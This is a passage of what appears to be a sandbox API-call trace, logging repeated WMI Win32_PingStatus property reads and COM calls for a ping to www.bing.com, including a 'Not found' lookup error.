pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x282637c*=8, plFlavor=0x2826380*=64) returned 0x0 [0136.799] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.799] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.800] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826560*=0, plFlavor=0x2826564*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2826560*=3, plFlavor=0x2826564*=64) returned 0x0 [0136.800] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826594*=0, plFlavor=0x2826598*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea040*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2826594*=8200, plFlavor=0x2826598*=64) returned 0x0 [0136.800] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28265c8*=0, plFlavor=0x28265cc*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28265c8*=8, plFlavor=0x28265cc*=64) returned 0x0 [0136.800] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.800] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.800] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826614*=0, plFlavor=0x2826618*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2826614*=8, plFlavor=0x2826618*=64) returned 0x0 [0136.800] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.801] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.801] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826660*=0, plFlavor=0x2826664*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2826660*=8, plFlavor=0x2826664*=64) returned 0x0 [0136.801] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.801] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.801] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0136.801] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0136.801] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.801] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ResponseTime", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826894*=0, plFlavor=0x2826898*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), pType=0x2826894*=19, plFlavor=0x2826898*=0) returned 0x0 [0136.801] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ResponseTime", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826894*=19, plFlavor=0x2826898*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), pType=0x2826894*=19, plFlavor=0x2826898*=0) returned 0x0 [0136.802] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.802] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.802] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.802] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.802] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.802] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.802] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0136.803] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0136.803] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0136.803] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0136.803] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.803] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.803] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.803] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.803] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.803] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.803] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.803] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.803] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.803] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.803] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.803] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.803] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.803] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.803] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.803] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.803] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.803] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.804] SysStringByteLen (bstr="__PATH") returned 0xc [0136.804] SysStringByteLen (bstr="__PATH") returned 0xc [0136.804] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826e10*=0, plFlavor=0x2826e14*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2826e10*=3, plFlavor=0x2826e14*=64) returned 0x0 [0136.804] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826e44*=0, plFlavor=0x2826e48*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2826e44*=8, plFlavor=0x2826e48*=64) returned 0x0 [0136.804] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.804] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.804] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826e9c*=0, plFlavor=0x2826ea0*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826e9c*=8, plFlavor=0x2826ea0*=64) returned 0x0 [0136.804] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826ec4*=0, plFlavor=0x2826ec8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2826ec4*=8, plFlavor=0x2826ec8*=64) returned 0x0 [0136.804] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.804] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.805] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826f1c*=0, plFlavor=0x2826f20*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2826f1c*=8, plFlavor=0x2826f20*=64) returned 0x0 [0136.805] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.805] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.805] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28270f4*=0, plFlavor=0x28270f8*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28270f4*=3, plFlavor=0x28270f8*=64) returned 0x0 [0136.805] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827128*=0, plFlavor=0x282712c*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea010*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2827128*=8200, plFlavor=0x282712c*=64) returned 0x0 [0136.805] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282715c*=0, plFlavor=0x2827160*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x282715c*=8, plFlavor=0x2827160*=64) returned 0x0 [0136.805] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.805] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.805] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28271a8*=0, plFlavor=0x28271ac*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28271a8*=8, plFlavor=0x28271ac*=64) returned 0x0 [0136.806] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.806] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.806] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28271f4*=0, plFlavor=0x28271f8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28271f4*=8, plFlavor=0x28271f8*=64) returned 0x0 [0136.806] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.806] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.806] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0136.806] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0136.806] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.806] IWbemClassObject:Get (in: This=0x5ce4808, wszName="WriteErrorStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827428*=0, plFlavor=0x282742c*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827428*=0, plFlavor=0x282742c*=0) returned 0x80041002 [0136.806] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0136.807] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5ce6238) returned 0x0 [0136.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0136.808] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5ce6238, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5ce6248) returned 0x0 [0136.808] WbemStatusCodeText:IUnknown:Release (This=0x5ce6238) returned 0x0 [0136.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5ce6248) returned 0x0 [0136.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0136.808] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6248) returned 0x3 [0136.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0136.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0136.808] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0136.808] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0136.809] CoGetContextToken (in: pToken=0x59fdc48 | out: pToken=0x59fdc48) returned 0x0 [0136.809] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x59fdc30*=0x378, lpdwindex=0x59fdae8 | out: lpdwindex=0x59fdae8) returned 0x80010115 [0136.809] CoGetContextToken (in: pToken=0x59fd0ec | out: pToken=0x59fd0ec) returned 0x0 [0136.809] CoGetContextToken (in: pToken=0x59fd0cc | out: pToken=0x59fd0cc) returned 0x0 [0136.809] CoGetContextToken (in: pToken=0x59fd050 | out: pToken=0x59fd050) returned 0x0 [0136.809] IUnknown:Release (This=0x5ce4808) returned 0x2 [0136.809] IUnknown:Release (This=0x5ce4808) returned 0x1 [0136.809] CoGetContextToken (in: pToken=0x59fd050 | out: pToken=0x59fd050) returned 0x0 [0136.809] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x1 [0136.809] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x0 [0136.816] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0136.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0136.817] WbemStatusCodeText:IUnknown:Release (This=0x5ce6248) returned 0x2 [0136.817] WbemStatusCodeText:IUnknown:Release (This=0x5ce6248) returned 0x1 [0136.817] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0136.817] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0136.817] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6248, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5ce6248) returned 0x0 [0136.817] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6248) returned 0x3 [0136.817] WbemStatusCodeText:IUnknown:Release (This=0x5ce6248) returned 0x2 [0136.817] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5ce6248, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0136.817] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.818] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.818] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.818] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.818] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.819] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0136.819] SafeArrayGetDim (psa=0x5cea040) returned 0x1 [0136.819] SafeArrayGetDim (psa=0x5cea040) returned 0x1 [0136.819] SafeArrayGetLBound (in: psa=0x5cea040, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0136.819] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.819] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.819] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.819] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.819] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.819] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.819] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.819] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.819] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.819] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.819] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.819] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.819] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.819] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.819] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.819] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.820] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.820] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.820] SysStringByteLen (bstr="__PATH") returned 0xc [0136.820] SysStringByteLen (bstr="__PATH") returned 0xc [0136.820] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827808*=0, plFlavor=0x282780c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2827808*=3, plFlavor=0x282780c*=64) returned 0x0 [0136.820] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282783c*=0, plFlavor=0x2827840*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x282783c*=8, plFlavor=0x2827840*=64) returned 0x0 [0136.820] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.820] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.820] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 